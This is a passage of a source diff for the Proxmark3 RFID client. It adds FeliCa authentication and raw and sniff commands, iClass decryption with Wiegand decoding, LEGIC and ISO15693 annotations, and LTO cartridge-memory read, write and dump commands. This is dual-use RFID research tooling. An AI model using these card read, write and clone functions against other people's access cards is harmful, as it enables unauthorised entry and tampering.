@@ static int CmdHFFelicaRequestService(const char *Cmd) { if (custom_IDm) { flags |= FELICA_NO_SELECT; } + if (datalen > 0) { flags |= FELICA_RAW; } + datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; if (!custom_IDm && !check_last_idm(data, datalen)) { return PM3_EINVARG; } + data[0] = int_to_hex(&datalen); data[1] = 0x02; // Service Request Command ID if (all_nodes) { @@ -1051,7 +1392,8 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } static int CmdHFFelicaNotImplementedYet(const char *Cmd) { - PrintAndLogEx(NORMAL, "Feature not implemented Yet!"); + PrintAndLogEx(INFO, "Feature not implemented yet."); + PrintAndLogEx(INFO, "Feel free to contribute!"); return PM3_SUCCESS; } @@ -1063,12 +1405,10 @@ static int CmdHFFelicaSniff(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'h': + switch (tolower(Cmd[i + 1])) { case 'H': return usage_hf_felica_sniff(); case 's': - case 'S': paramCount++; if (param_getlength(Cmd, paramCount) < 5) { samples2skip = param_get32ex(Cmd, paramCount++, 0, 10); @@ -1078,7 +1418,6 @@ static int CmdHFFelicaSniff(const char *Cmd) { } break; case 't': - case 'T': paramCount++; if (param_getlength(Cmd, paramCount) < 5) { triggers2skip = param_get32ex(Cmd, paramCount++, 0, 10); @@ -1095,13 +1434,15 @@ static int CmdHFFelicaSniff(const char *Cmd) { } i++; } - if (samples2skip <= 0) { + + if (samples2skip == 0) { samples2skip = 10; - PrintAndLogEx(INFO, "Set default samples2skip: %i", samples2skip); + PrintAndLogEx(INFO, "Set default samples2skip: %" PRIu64, samples2skip); } - if (triggers2skip <= 0) { + + if (triggers2skip == 0) { triggers2skip = 5000; - PrintAndLogEx(INFO, "Set default triggers2skip: %i", triggers2skip); + PrintAndLogEx(INFO, "Set default triggers2skip: %" PRIu64, triggers2skip); } PrintAndLogEx(INFO, "Start Sniffing now. You can stop sniffing with clicking the PM3 Button"); @@ -1124,7 +1465,7 @@ static int CmdHFFelicaSimLite(const char *Cmd) { } static void printSep() { - PrintAndLogEx(NORMAL, "------------------------------------------------------------------------------------"); + PrintAndLogEx(INFO, "------------------------------------------------------------------------------------"); } static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t tracelen) { @@ -1360,8 +1701,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { while (Cmd[i] != '\0') { if (Cmd[i] == ' ' || Cmd[i] == '\t') { i++; continue; } if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_raw(); case 'r': @@ -1403,9 +1743,9 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { sscanf(buf, "%x", &temp); data[datalen] = (uint8_t)(temp & 0xff); *buf = 0; - if (++datalen >= sizeof(data)) { + if (++datalen >= (sizeof(data) - 2)) { if (crc) - PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); + PrintAndLogEx(WARNING, "Buffer is full, we can't add CRC to your data"); break; } } @@ -1439,12 +1779,12 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; clearCommandBuffer(); - PrintAndLogEx(NORMAL, "Data: %s", sprint_hex(data, datalen)); + PrintAndLogEx(SUCCESS, "Data: %s", sprint_hex(data, datalen)); SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); if (reply) { if (active_select) { - PrintAndLogEx(NORMAL, "Active select wait for FeliCa."); + PrintAndLogEx(SUCCESS, "Active select wait for FeliCa."); PacketResponseNG resp_IDm; waitCmdFelica(1, &resp_IDm, 1); } @@ -1490,15 +1830,15 @@ int readFelicaUid(bool verbose) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "FeliCa tag info"); - PrintAndLogEx(NORMAL, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); - PrintAndLogEx(NORMAL, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); - PrintAndLogEx(NORMAL, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); + PrintAndLogEx(SUCCESS, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); + PrintAndLogEx(SUCCESS, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); + PrintAndLogEx(SUCCESS, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); - PrintAndLogEx(NORMAL, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); - PrintAndLogEx(NORMAL, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); - PrintAndLogEx(NORMAL, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); + PrintAndLogEx(SUCCESS, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); + PrintAndLogEx(SUCCESS, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); + PrintAndLogEx(SUCCESS, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); - PrintAndLogEx(NORMAL, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); + PrintAndLogEx(SUCCESS, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); set_last_known_card(card); break; } @@ -1513,16 +1853,16 @@ static command_t CommandTable[] = { {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, {"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"}, {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, - {"----------- FeliCa Standard (support in progress) -----------", CmdHelp, IfPm3Iso14443a, ""}, + {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."}, + {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, + {"----------- FeliCa Standard -----------", CmdHelp, IfPm3Iso14443a, ""}, //{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, - {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."}, - {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, - //{"auth1", CmdHFFelicaNotImplementedYet, IfPm3Felica, "authenticate a card."}, - //{"auth2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "allow a card to authenticate a Reader/Writer."}, + {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"}, + {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"}, //{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, //{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."}, //{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."}, diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index b57996af1..567600d15 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -28,7 +28,8 @@ #include "loclass/elite_crack.h" #include "fileutils.h" #include "protocols.h" - +#include "wiegand_formats.h" +#include "wiegand_formatutils.h" #define NUM_CSNS 9 #define ICLASS_KEYS_MAX 8 @@ -334,15 +335,15 @@ static void fuse_config(const picopass_hdr *hdr) { if (isset(fuses, FUSE_FPERS)) PrintAndLogEx(SUCCESS, " Mode: Personalization [Programmable]"); else - PrintAndLogEx(NORMAL, " Mode: Application [Locked]"); + PrintAndLogEx(SUCCESS, " Mode: Application [Locked]"); if (isset(fuses, FUSE_CODING1)) { - PrintAndLogEx(NORMAL, " Coding: RFU"); + PrintAndLogEx(SUCCESS, " Coding: RFU"); } else { if (isset(fuses, FUSE_CODING0)) - PrintAndLogEx(NORMAL, " Coding: ISO 14443-2 B/ISO 15693"); + PrintAndLogEx(SUCCESS, " Coding: ISO 14443-2 B/ISO 15693"); else - PrintAndLogEx(NORMAL, " Coding: ISO 14443B only"); + PrintAndLogEx(SUCCESS, " Coding: ISO 14443B only"); } // 1 1 if (isset(fuses, FUSE_CRYPT1) && isset(fuses, FUSE_CRYPT0)) PrintAndLogEx(SUCCESS, " Crypt: Secured page, keys not locked"); @@ -354,7 +355,7 @@ static void fuse_config(const picopass_hdr *hdr) { if (notset(fuses, FUSE_CRYPT1) && notset(fuses, FUSE_CRYPT0)) PrintAndLogEx(NORMAL, " Crypt: No auth possible. Read only if RA is enabled"); if (isset(fuses, FUSE_RA)) - PrintAndLogEx(NORMAL, " RA: Read access enabled"); + PrintAndLogEx(SUCCESS, " RA: Read access enabled"); else PrintAndLogEx(WARNING, " RA: Read access not enabled"); } @@ -918,6 +919,17 @@ static int CmdHFiClassDecrypt(const char *Cmd) { saveFileJSON(fptr, jsfIclass, decrypted, decryptedlen); printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen); + + uint32_t top = 0, mid, bot; + mid = bytes_to_num(decrypted + (8*7), 4); + bot = bytes_to_num(decrypted + (8*7) + 4, 4); + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "block 7 - Wiegand decode"); + wiegand_message_t packed = initialize_message_object(top, mid, bot); + HIDTryUnpack(&packed, true); + PrintAndLogEx(INFO, "-----------------------------------------------------------------"); + free(decrypted); free(fptr); } @@ -1871,13 +1883,13 @@ void printIclassDumpContents(uint8_t *iclass_dump, uint8_t startblock, uint8_t e //PrintAndLog ("startblock: %d, endblock: %d, filesize: %d, maxmemcount: %d, filemaxblock: %d",startblock, endblock,filesize, maxmemcount, filemaxblock); int i = startblock; - PrintAndLogEx(NORMAL, "------+--+-------------------------+"); + PrintAndLogEx(INFO, "------+--+-------------------------+----------"); while (i <= endblock) { uint8_t *blk = iclass_dump + (i * 8); - PrintAndLogEx(NORMAL, " |%02X| %s", i, sprint_hex_ascii(blk, 8)); + PrintAndLogEx(INFO, " |%02X| %s", i, sprint_hex_ascii(blk, 8)); i++; } - PrintAndLogEx(NORMAL, "------+--+-------------------------+"); + PrintAndLogEx(INFO, "------+--+-------------------------+----------"); } static int CmdHFiClassReadTagFile(const char *Cmd) { @@ -2805,6 +2817,7 @@ int readIclass(bool loop, bool verbose) { FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE | FLAG_ICLASS_READER_ONE_TRY; + uint32_t res = PM3_ETIMEOUT; // loop in client not device - else on windows have a communication error while (!kbd_enter_pressed()) { @@ -2827,12 +2840,13 @@ int readIclass(bool loop, bool verbose) { } if (readStatus & FLAG_ICLASS_READER_CSN) { - PrintAndLogEx(NORMAL, " CSN: %s", sprint_hex(data, 8)); + PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(SUCCESS, " CSN: %s", sprint_hex(data, 8)); tagFound = true; } if (readStatus & FLAG_ICLASS_READER_CC) { - PrintAndLogEx(NORMAL, " CC: %s", sprint_hex(data + 16, 8)); + PrintAndLogEx(SUCCESS, " CC: %s", sprint_hex(data + 16, 8)); } if (readStatus & FLAG_ICLASS_READER_CONF) { @@ -2847,7 +2861,7 @@ int readIclass(bool loop, bool verbose) { bool se_enabled = (memcmp((uint8_t *)(data + 8 * 5), "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - PrintAndLogEx(NORMAL, " App IA: %s", sprint_hex(data + 8 * 5, 8)); + PrintAndLogEx(SUCCESS, " App IA: %s", sprint_hex(data + 8 * 5, 8)); if (isHidRange) { if (legacy) @@ -2875,6 +2889,6 @@ int readIclass(bool loop, bool verbose) { if (!loop) break; } DropField(); - return PM3_SUCCESS; + return res; } diff --git a/client/cmdhflegic.c b/client/cmdhflegic.c index 4a72397e3..022857584 100644 --- a/client/cmdhflegic.c +++ b/client/cmdhflegic.c @@ -210,7 +210,7 @@ static int CmdLegicInfo(const char *Cmd) { crc = data[4]; uint32_t calc_crc = CRC8Legic(data, 4); - PrintAndLogEx(NORMAL, _YELLOW_("CDF: System Area")); + PrintAndLogEx(SUCCESS, _YELLOW_("CDF: System Area")); PrintAndLogEx(NORMAL, "------------------------------------------------------"); PrintAndLogEx(NORMAL, "MCD: %02x, MSN: %02x %02x %02x, MCC: %02x %s", data[0], @@ -229,7 +229,7 @@ static int CmdLegicInfo(const char *Cmd) { // New unwritten media? if (dcf == 0xFFFF) { - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=NM (New Media)", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=NM (New Media)", dcf, data[5], data[6] @@ -262,7 +262,7 @@ static int CmdLegicInfo(const char *Cmd) { stamp_len = 0xfc - data[6]; } - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u", dcf, data[5], data[6], @@ -281,7 +281,7 @@ static int CmdLegicInfo(const char *Cmd) { strncpy(token_type, "IM", sizeof(token_type) - 1); } - PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)", + PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)", dcf, data[5], data[6], @@ -294,7 +294,7 @@ static int CmdLegicInfo(const char *Cmd) { if (dcf != 0xFFFF) { if (bIsSegmented) { - PrintAndLogEx(NORMAL, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X", + PrintAndLogEx(SUCCESS, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X", data[7] & 0x0f, (data[7] & 0x70) >> 4, (data[7] & 0x80) >> 7, @@ -305,11 +305,11 @@ static int CmdLegicInfo(const char *Cmd) { // Header area is only available on IM-S cards, on master tokens this data is the master token data itself if (bIsSegmented || dcf > 60000) { if (dcf > 60000) { - PrintAndLogEx(NORMAL, "Master token data"); - PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 8, 14)); + PrintAndLogEx(SUCCESS, "Master token data"); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 8, 14)); } else { - PrintAndLogEx(NORMAL, "Remaining Header Area"); - PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 9, 13)); + PrintAndLogEx(SUCCESS, "Remaining Header Area"); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 9, 13)); } } } @@ -323,7 +323,7 @@ static int CmdLegicInfo(const char *Cmd) { if (dcf > 60000) goto out; - PrintAndLogEx(NORMAL, _YELLOW_("\nADF: User Area")); + PrintAndLogEx(SUCCESS, _YELLOW_("\nADF: User Area")); PrintAndLogEx(NORMAL, "------------------------------------------------------"); if (bIsSegmented) { @@ -356,20 +356,20 @@ static int CmdLegicInfo(const char *Cmd) { segCalcCRC = CRC8Legic(segCrcBytes, 8); segCRC = data[i + 4] ^ crc; - PrintAndLogEx(NORMAL, "Segment | %02u ", segmentNum); - PrintAndLogEx(NORMAL, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X", + PrintAndLogEx(SUCCESS, "Segment | %02u ", segmentNum); + PrintAndLogEx(SUCCESS, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X", data[i] ^ crc, data[i + 1] ^ crc, data[i + 2] ^ crc, data[i + 3] ^ crc ); - PrintAndLogEx(NORMAL, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)", + PrintAndLogEx(SUCCESS, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)", segment_len, segment_flag, (segment_flag & 0x4) >> 2, (segment_flag & 0x8) >> 3 ); - PrintAndLogEx(NORMAL, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)", + PrintAndLogEx(SUCCESS, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)", wrp, wrc, ((data[i + 3] ^ crc) & 0x80) >> 7, @@ -380,7 +380,7 @@ static int CmdLegicInfo(const char *Cmd) { i += 5; if (hasWRC) { - PrintAndLogEx(NORMAL, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc); + PrintAndLogEx(SUCCESS, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -393,7 +393,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (hasWRP) { - PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len); + PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -406,7 +406,7 @@ static int CmdLegicInfo(const char *Cmd) { // does this one work? (Answer: Only if KGH/BGH is used with BCD encoded card number! So maybe this will show just garbage...) if (wrp_len == 8) { - PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), + PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"), data[i - 4] ^ crc, data[i - 3] ^ crc, data[i - 2] ^ crc @@ -414,7 +414,7 @@ static int CmdLegicInfo(const char *Cmd) { } } if (remain_seg_payload_len > 0) { - PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len); + PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | K %d | Remain LEN %d)", i, k, remain_seg_payload_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); @@ -444,14 +444,14 @@ static int CmdLegicInfo(const char *Cmd) { int wrp_len = (wrp - wrc); int remain_seg_payload_len = (card.cardsize - 22 - wrp); - PrintAndLogEx(NORMAL, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u", + PrintAndLogEx(SUCCESS, "Unsegmented card - WRP: %02u, WRC: %02u, RD: %01u", wrp, wrc, (data[7] & 0x80) >> 7 ); if (hasWRC) { - PrintAndLogEx(NORMAL, "WRC protected area: (I %d | WRC %d)", i, wrc); + PrintAndLogEx(SUCCESS, "WRC protected area: (I %d | WRC %d)", i, wrc); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, wrc, 16); @@ -460,7 +460,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (hasWRP) { - PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len); + PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | WRC %d | WRP %d | WRP_LEN %d)", i, wrc, wrp, wrp_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, wrp_len, 16); @@ -470,7 +470,7 @@ static int CmdLegicInfo(const char *Cmd) { // Q: does this one work? // A: Only if KGH/BGH is used with BCD encoded card number. Maybe this will show just garbage if (wrp_len == 8) { - PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), + PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"), data[i - 4], data[i - 3], data[i - 2] @@ -479,7 +479,7 @@ static int CmdLegicInfo(const char *Cmd) { } if (remain_seg_payload_len > 0) { - PrintAndLogEx(NORMAL, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len); + PrintAndLogEx(SUCCESS, "Remaining segment payload: (I %d | Remain LEN %d)", i, remain_seg_payload_len); PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); print_hex_break(data + i, remain_seg_payload_len, 16); diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 71ae81926..b35e4d622 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -404,6 +404,9 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case ISO15693_READ_MULTI_BLOCK: snprintf(exp, size, "READ_MULTI_BLOCK"); return; + case ISO15693_WRITE_MULTI_BLOCK: + snprintf(exp, size, "WRITE_MULTI_BLOCK"); + return; case ISO15693_SELECT: snprintf(exp, size, "SELECT"); return; @@ -428,6 +431,78 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case ISO15693_READ_MULTI_SECSTATUS: snprintf(exp, size, "READ_MULTI_SECSTATUS"); return; + case ISO15693_INVENTORY_READ: + snprintf(exp, size, "INVENTORY_READ"); + return; + case ISO15693_FAST_INVENTORY_READ: + snprintf(exp, size, "FAST_INVENTORY_READ"); + return; + case ISO15693_SET_EAS: + snprintf(exp, size, "SET_EAS"); + return; + case ISO15693_RESET_EAS: + snprintf(exp, size, "RESET_EAS"); + return; + case ISO15693_LOCK_EAS: + snprintf(exp, size, "LOCK_EAS"); + return; + case ISO15693_EAS_ALARM: + snprintf(exp, size, "EAS_ALARM"); + return; + case ISO15693_PASSWORD_PROTECT_EAS: + snprintf(exp, size, "PASSWORD_PROTECT_EAS"); + return; + case ISO15693_WRITE_EAS_ID: + snprintf(exp, size, "WRITE_EAS_ID"); + return; + case ISO15693_READ_EPC: + snprintf(exp, size, "READ_EPC"); + return; + case ISO15693_GET_NXP_SYSTEM_INFO: + snprintf(exp, size, "GET_NXP_SYSTEM_INFO"); + return; + case ISO15693_INVENTORY_PAGE_READ: + snprintf(exp, size, "INVENTORY_PAGE_READ"); + return; + case ISO15693_FAST_INVENTORY_PAGE_READ: + snprintf(exp, size, "FAST_INVENTORY_PAGE_READ"); + return; + case ISO15693_GET_RANDOM_NUMBER: + snprintf(exp, size, "GET_RANDOM_NUMBER"); + return; + case ISO15693_SET_PASSWORD: + snprintf(exp, size, "SET_PASSWORD"); + return; + case ISO15693_WRITE_PASSWORD: + snprintf(exp, size, "WRITE_PASSWORD"); + return; + case ISO15693_LOCK_PASSWORD: + snprintf(exp, size, "LOCK_PASSWORD"); + return; + case ISO15693_PROTECT_PAGE: + snprintf(exp, size, "PROTECT_PAGE"); + return; + case ISO15693_LOCK_PAGE_PROTECTION: + snprintf(exp, size, "LOCK_PAGE_PROTECTION"); + return; + case ISO15693_GET_MULTI_BLOCK_PROTECTION: + snprintf(exp, size, "GET_MULTI_BLOCK_PROTECTION"); + return; + case ISO15693_DESTROY: + snprintf(exp, size, "DESTROY"); + return; + case ISO15693_ENABLE_PRIVACY: + snprintf(exp, size, "ENABLE_PRIVACY"); + return; + case ISO15693_64BIT_PASSWORD_PROTECTION: + snprintf(exp, size, "64BIT_PASSWORD_PROTECTION"); + return; + case ISO15693_STAYQUIET_PERSISTENT: + snprintf(exp, size, "STAYQUIET_PERSISTENT"); + return; + case ISO15693_READ_SIGNATURE: + snprintf(exp, size, "READ_SIGNATURE"); + return; default: break; } @@ -1020,6 +1095,49 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } } +void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { + switch (cmd[0]) { + case LTO_REQ_STANDARD: + snprintf(exp, size, "REQ Standard"); + break; + case LTO_SELECT: + if (cmd[1] == 0x70) + snprintf(exp, size, "SELECT_UID-2"); + else if (cmd[1] == 0x20) + snprintf(exp, size, "SELECT"); + break; + case LTO_REQ_ALL: + snprintf(exp, size, "REQ All"); + break; + case LTO_TEST_CMD_1: + snprintf(exp, size, "TEST CMD 1"); + break; + case LTO_TEST_CMD_2: + snprintf(exp, size, "TEST CMD 2"); + break; + case LTO_READWORD: + snprintf(exp, size, "READWORD"); + break; + case (LTO_READBLOCK & 0xF0): + snprintf(exp, size, "READBLOCK(%d)", cmd[1]); + break; + case LTO_READBLOCK_CONT: + snprintf(exp, size, "READBLOCK CONT"); + break; + case LTO_WRITEWORD: + snprintf(exp, size, "WRITEWORD"); + break; + case (LTO_WRITEBLOCK & 0xF0): + snprintf(exp, size, "WRITEBLOCK(%d)", cmd[1]); + break; + case LTO_HALT: + snprintf(exp, size, "HALT"); + break; + default: + break; + } +} + void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse) { if (!isResponse && cmdsize == 1) { switch (cmd[0]) { diff --git a/client/cmdhflist.h b/client/cmdhflist.h index 42ae6e83b..fbc8700d6 100644 --- a/client/cmdhflist.h +++ b/client/cmdhflist.h @@ -48,6 +48,7 @@ void annotateIso14443b(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse); +void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen); bool NTParityChk(TAuthData *ad, uint32_t ntx); diff --git a/client/cmdhflto.c b/client/cmdhflto.c new file mode 100644 index 000000000..7057fab36 --- /dev/null +++ b/client/cmdhflto.c @@ -0,0 +1,649 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LTO-CM commands +// LTO Cartridge memory +//----------------------------------------------------------------------------- +#include "cmdhflto.h" +#include +#include +#include +#include +#include "cmdparser.h" // command_t +#include "comms.h" +#include "cmdtrace.h" +#include "crc16.h" +#include "ui.h" +#include "cmdhf14a.h" +#include "protocols.h" +#include "fileutils.h" //saveFile + +#define CM_MEM_MAX_SIZE 0x1FE0 // (32byte/block * 255block = 8160byte) + +static int CmdHelp(const char *Cmd); + +static int usage_lto_info(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto info [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto info"); + return PM3_SUCCESS; +} + +static int usage_lto_rdbl(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto rdbl [h] s e "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " s start block in decimal >= 0"); + PrintAndLogEx(NORMAL, " e end block in decimal <= 254"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto rdbl s 0 e 254 - Read data block from 0 to 254"); + return PM3_SUCCESS; +} + +static int usage_lto_wrbl(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto wrbl [h] b d "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " b block address (decimal, 0 - 254) "); + PrintAndLogEx(NORMAL, " d 32 bytes of data to write (64 hex characters, no space)"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto wrbl b 128 d 0001020304050607080910111213141516171819202122232425262728293031 - write 00..31 to block address 128"); + PrintAndLogEx(NORMAL, " Use 'hf lto rdbl' for verification"); + return PM3_SUCCESS; +} + +static int usage_lto_dump(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto dump [h|p] f "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " f file name"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto dump f myfile"); + return PM3_SUCCESS; +} + +static int usage_lto_restore(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto restore [h] f "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " f file name [.bin|.eml]"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto restore f hf_lto_92C7842CFF.bin|.eml"); + return PM3_SUCCESS; +} + +static void lto_switch_off_field(void) { + SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); +} + +static void lto_switch_on_field(void) { + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_SELECT | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); +} + +// send a raw LTO-CM command, returns the length 